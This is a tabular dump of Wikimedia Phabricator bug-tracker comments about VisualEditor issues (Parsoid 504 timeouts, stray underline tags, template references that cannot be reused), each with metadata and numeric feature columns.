241952,"VisualEditor: <u><u> created, and meta-data removed, from [[Bahá'u'lláh]] on edit","It's Windows 7, Firefox 21.0; I attempted to make a similar edit to the article using Chrome and received a message that said, ""Warning: Your edit may have been corrupted – please review before saving."" I've asked at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Addition_of_.3Cu.3E.3C.2Fu.3E.3Cu.3E.3C.2Fu.3E_and_removal_of_categories. if he sees it, too.",,,1372685856,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-7n67l5aimznnhmya4iwf,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,2.0,16.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,4.0,0.0,11.0,9.0,7.0,0.0,4.0,0.0,11.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,3.581818181818182,0.8545454545454545,"It's Windows 7, Firefox 21.0; I attempted to make a similar edit to the article using Chrome and received a message that said, ""Warning: Your edit may have been corrupted – please review before saving."" I've asked at URL if he sees it, too."
52475,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Trying to ""Edit"" on http://en.wikipedia.org/wiki/List_of_Advanced_Dungeons_%26_Dragons_2nd_edition_monsters after a minute or so results in a popup ""Error loading data from server: error. Would you like to retry?"". Trying again, repeats the issue

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=39057",Medium,50.0,1372620960,1394672264.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,6.0,0.0,1.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.388059701492537,0.6268656716417911,"Trying to ""Edit"" on URL after a minute or so results in a popup ""Error loading data from server: error. Would you like to retry?"". Trying again, repeats the issue

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
241657,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Change 118398 merged by jenkins-bot:
More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504)

https://gerrit.wikimedia.org/r/118398",,,1394672072,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,19.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,4.6923076923076925,1.0,"Change 118398 merged by jenkins-bot:
More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504)

GERRIT_URL"
241651,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Change 118398 had a related patch set uploaded by Alex Monk:
More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504)

https://gerrit.wikimedia.org/r/118398",,,1394667684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,23.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,3.0,0.0,0.0,4.666666666666667,0.9666666666666667,"Change 118398 had a related patch set uploaded by Alex Monk:
More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504)

GERRIT_URL"
241646,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"(In reply to James Forrester from comment #4)
> Possibily we could, instead of giving the user the error code, we could have
> a pop-up saying ""It looks like editor is currently unavailable; would you
> like to edit in source mode instead?"" with an OK that takes you to
> action=edit and a cancel that returns you to action=view? Maybe for
> error-tracking purposes we could add <small>Parsoid returned 504</small> or
> <small>Parsoid not available</small> after the general call-to-action?

Basically done this after checking with Roan about how to reproduce this error, without the small text underneath. Confirm dialogs don't allow you to use HTML markup.",,,1394667530,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,24.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,16.0,15.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9272727272727272,0.7454545454545455,"(In reply to James Forrester from comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Basically done this after checking with Roan about how to reproduce this error, without the small text underneath. Confirm dialogs don't allow you to use HTML markup."
241643,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),We'll help. :-),,,1391913718,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6,1.0,We'll help. :-)
241640,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),(resetting assignee - I had issues trying to properly reproduce Parsoid timeouts like this on my machine),,,1391879277,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,16.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.684210526315789,1.0,(resetting assignee - I had issues trying to properly reproduce Parsoid timeouts like this on my machine)
241638,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"I'm pulling this from being a blocker to bug 50848, given the reduced impact now that it works on the second try.",,,1373502193,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,4.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.68,0.96,"I'm pulling this from being a blocker to bug 50848, given the reduced impact now that it works on the second try."
241636,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"VE currently sets a 100s timeout, but in practice we often don't get there because the nginx proxies that terminate HTTPS and IPv6 traffic have a 60s timeout.",,,1373482219,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,10.0,3.0,6.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,13.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,4.225806451612903,0.9354838709677419,"VE currently sets a 100s timeout, but in practice we often don't get there because the nginx proxies that terminate HTTPS and IPv6 traffic have a 60s timeout."
241632,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"(In reply to comment #5)
> Previewing that page also works in about 30 seconds.

Actually closer to 70 on re-test.",,,1373481412,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,25.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.8,0.95,"(In reply to comment #5)
QUOTE

Actually closer to 70 on re-test."
241627,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"After upping the Varnish backend timeout to 5 minutes http://en.wikipedia.org/wiki/List_of_Advanced_Dungeons_%26_Dragons_2nd_edition_monsters?veaction=edit works now despite timing out in VE once. Hitting 'retry' re-joins the ongoing render, and returns the page pretty quickly. Previewing that page also works in about 30 seconds.

You might want to tweak your timeouts / UI to reflect this change. As long as there is no timout from Varnish the render is still ongoing.

More testing is needed with even larger pages. Bug 51053 will be closed when that is done.",,,1373481211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,0.0,5.0,1.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,1.0,0.0,1.0,11.0,12.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,12.0,2.0,1.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,2.0,12.0,3.0,0.0,2.0,0.0,2.0,0.0,1.0,0.0,0.0,4.0,2.0,0.0,0.0,3.9690721649484537,0.7628865979381443,"After upping the Varnish backend timeout to 5 minutes URL works now despite timing out in VE once. Hitting 'retry' re-joins the ongoing render, and returns the page pretty quickly. Previewing that page also works in about 30 seconds.

You might want to tweak your timeouts / UI to reflect this change. As long as there is no timout from Varnish the render is still ongoing.

More testing is needed with even larger pages. Bug 51053 will be closed when that is done."
241623,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Possibily we could, instead of giving the user the error code, we could have a pop-up saying ""It looks like editor is currently unavailable; would you like to edit in source mode instead?"" with an OK that takes you to action=edit and a cancel that returns you to action=view? Maybe for error-tracking purposes we could add <small>Parsoid returned 504</small> or <small>Parsoid not available</small> after the general call-to-action?",,,1373335525,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,4.0,0.0,1.0,2.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,1.0,6.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,7.0,12.0,2.0,3.0,2.0,0.0,7.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,5.0,3.8526315789473684,0.6526315789473685,"Possibily we could, instead of giving the user the error code, we could have a pop-up saying ""It looks like editor is currently unavailable; would you like to edit in source mode instead?"" with an OK that takes you to action=edit and a cancel that returns you to action=view? Maybe for error-tracking purposes we could add <small>Parsoid returned 504</small> or <small>Parsoid not available</small> after the general call-to-action?"
241619,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),Looks like the timeout here is on the Varnish/Parsoid side (API request on edit fails with error 504 after 60 secs).,,,1373334999,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,0.9230769230769231,Looks like the timeout here is on the Varnish/Parsoid side (API request on edit fails with error 504 after 60 secs).
241613,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Re: timeouts, need to be either handled more gracefully or we'll need to VE-blacklist articles where it occurs for now.",,,1373133953,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,15.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,3.8461538461538463,0.9230769230769231,"Re: timeouts, need to be either handled more gracefully or we'll need to VE-blacklist articles where it occurs for now."
241606,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),I think this is probably related - editing on large pages such as California is considerably slower when using VE than it is using the old editor. A contributor complained of slowness with this edit (http://en.wikipedia.org/w/index.php?title=California&diff=562339624&oldid=562339237) and I found the same issue with mine (http://en.wikipedia.org/w/index.php?title=California&diff=562390635&oldid=562351322),,,1372684698,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,6.0,15.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,4.0,2.0,0.0,0.0,4.1875,0.8125,I think this is probably related - editing on large pages such as California is considerably slower when using VE than it is using the old editor. A contributor complained of slowness with this edit (URL and I found the same issue with mine (URL
52474,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","References added by templates are currently not very well integrated into the #visualeditor UI. Their footnotes are visible as #parsoid parsed output on the surface, but:

1. the number in square brackets on the footnote does not necessarily fit with other numbers visible from other footnotes
2. they do not appear in the reference lists in the editor
3. they do not appear in the list of references to re-use

A simple demonstration of the first two issues can be seen here:

| Reading | VisualEditor |
| {F56437741} | {F56437750} |

-----------------------------------

For example, look at [[https://en.wikipedia.org/w/index.php?title=Popocatépetl&oldid=667057679|this old version of w:en:Popocatépetl]]. It has 21 references, 3 of them in the infobox only. When you [[https://en.wikipedia.org/w/index.php?title=Popocat%C3%A9petl&oldid=667057679&veaction=edit|open it in VE]], those first 3 cannot be accessed from the re-use menu. In addition, all 21 appear in the references list, but each reference x in the text corresponds to entry x + 3 in the references list. 

**See Also**:
{T52505}
{T53289}
{T54398}
{T55777}
{T54262}

Possible duplicate but might have additional implications: 
{T87134}",Medium,50.0,1372620660,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-n26jfot72gcfg6mgq6wx,task_description,open,True,c1,2,False,False,,-1,,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,4.333333333333333,0.3333333333333333,0.0,0.0,0.0,4.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,5.0,10.333333333333334,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,3.3333333333333335,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,14.333333333333334,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.0,1.3333333333333333,9.0,0.3333333333333333,1.0,6.0,0.0,0.0,0.0,0.6666666666666666,3.3333333333333335,0.0,3.3333333333333335,0.0,2.3333333333333335,10.333333333333334,4.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,2.0,3.625514403292181,0.6543209876543209,"References added by templates are currently not very well integrated into the #visualeditor UI. Their footnotes are visible as #parsoid parsed output on the surface, but:

1. the number in square brackets on the footnote does not necessarily fit with other numbers visible from other footnotes
2. they do not appear in the reference lists in the editor
3. they do not appear in the list of references to re-use

A simple demonstration of the first two issues can be seen here:

| Reading | VisualEditor |
| {F56437741} | {F56437750} |

-----------------------------------

For example, look at [[URL old version of w:en:Popocatépetl]]. It has 21 references, 3 of them in the infobox only. When you [[URL it in VE]], those first 3 cannot be accessed from the re-use menu. In addition, all 21 appear in the references list, but each reference x in the text corresponds to entry x + 3 in the references list. 

**See Also**:
{T52505}
{T53289}
{T54398}
{T55777}
{T54262}

Possible duplicate but might have additional implications: 
{T87134}"
2378204,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","I took the freedom to summarize the overall problems surfacing in this task. I guess it makes sense to try to solve the first two issues described so it's less confusing for the users.

The third options seems not so straight forward at the moment. Templates of any kind can include a references and it would be unclear on how a re-use should look like or even how a reference transcluded from a template can get a name that's needed for the re-use.",,,1721046082,,PHID-USER-k5wpqok2x66oei3wguaf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,576,,1.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,15.0,0.0,3.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,1.0,1.0,5.0,2.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,13.0,1.0,4.0,3.0,2.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,1.0,1.0,0.0,0.0,3.9148936170212765,0.7340425531914894,"I took the freedom to summarize the overall problems surfacing in this task. I guess it makes sense to try to solve the first two issues described so it's less confusing for the users.

The third options seems not so straight forward at the moment. Templates of any kind can include a references and it would be unclear on how a re-use should look like or even how a reference transcluded from a template can get a name that's needed for the re-use."
1068586,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",Solving this (and its subtasks) would be a huge success. I'd be grateful.,,,1526397283,,PHID-USER-qdbrv6swdxlgemqwwbuw,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,254,,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,11.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.388888888888889,0.8888888888888888,Solving this (and its subtasks) would be a huge success. I'd be grateful.
759604,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",">>! In T52474#1772377, @Halibutt wrote:
> Since T114105 was merged into this ticket

In case anyone following that original ticket (or several like it) is confused about why these get merged here: 

VisualEditor handles regular ""Harvard"" (parenthetical) citations perfectly; see true Harvard style at https://en.wikipedia.org/w/index.php?oldid=521737742&veaction=edit as an example.   Plain Harvard is just plain text, after all; a proper Harvard citation is just `(Author Date)` with an optional page number.  Any system that lets you type common characters can handle plain Harvard citations.

The problem is when it's not truly Harvard citations, but instead it's a non-Harvard [[https://en.wikipedia.org/wiki/Wikipedia:Citing_sources#Short_citations|short citation]] wrapped up in ref tags using a template such as {{sfn}} – when the system is presented with `{{sfn|Author|Date|123}}` instead of  `<ref name=""Author Date"">Author Date, page 123.</ref>` (which VisualEditor can handle) or `(Author Date, page 123)` (which VisualEditor can also handle). 

In that case, the main technical issue is exactly the same as `{{infobox|field=data<ref>Source</ref>}}`:  the ref is stuck in a transclusion rather than in the article being edited.  This has multiple effects, including impossible numbering and bad displays (because the transcluded doc gets its own <references /> list; see T114105 for a screenshot).  As I understand it, some of these problems will be solved here, and others may be fixed through other mechanisms, e.g., {T110909}.  But the bugs get merged here, because it's not possible to merge them to multiple related tasks.
",,,1478851254,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,175,,1.3333333333333333,0.3333333333333333,0.3333333333333333,2.0,0.6666666666666666,8.333333333333334,0.6666666666666666,0.6666666666666666,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,6.666666666666667,8.333333333333334,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,1.0,5.666666666666667,1.0,2.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,0.0,0.0,0.3333333333333333,0.0,12.0,0.6666666666666666,1.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,5.0,3.3333333333333335,10.333333333333334,1.6666666666666667,2.0,8.333333333333334,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.333333333333334,5.666666666666667,0.0,0.6666666666666666,0.0,3.0,0.0,2.0,2.3333333333333335,0.3333333333333333,1.0,0.0,0.0,1.0,3.949155916547221,0.7456203217072782,"QUOTE
QUOTE

In case anyone following that original ticket (or several like it) is confused about why these get merged here: 

VisualEditor handles regular ""Harvard"" (parenthetical) citations perfectly; see true Harvard style at URL as an example.   Plain Harvard is just plain text, after all; a proper Harvard citation is just CODE with an optional page number.  Any system that lets you type common characters can handle plain Harvard citations.

The problem is when it's not truly Harvard citations, but instead it's a non-Harvard [[URL citation]] wrapped up in ref tags using a template such as {{sfn}} – when the system is presented with CODE instead of  CODE (which VisualEditor can handle) or CODE (which VisualEditor can also handle). 

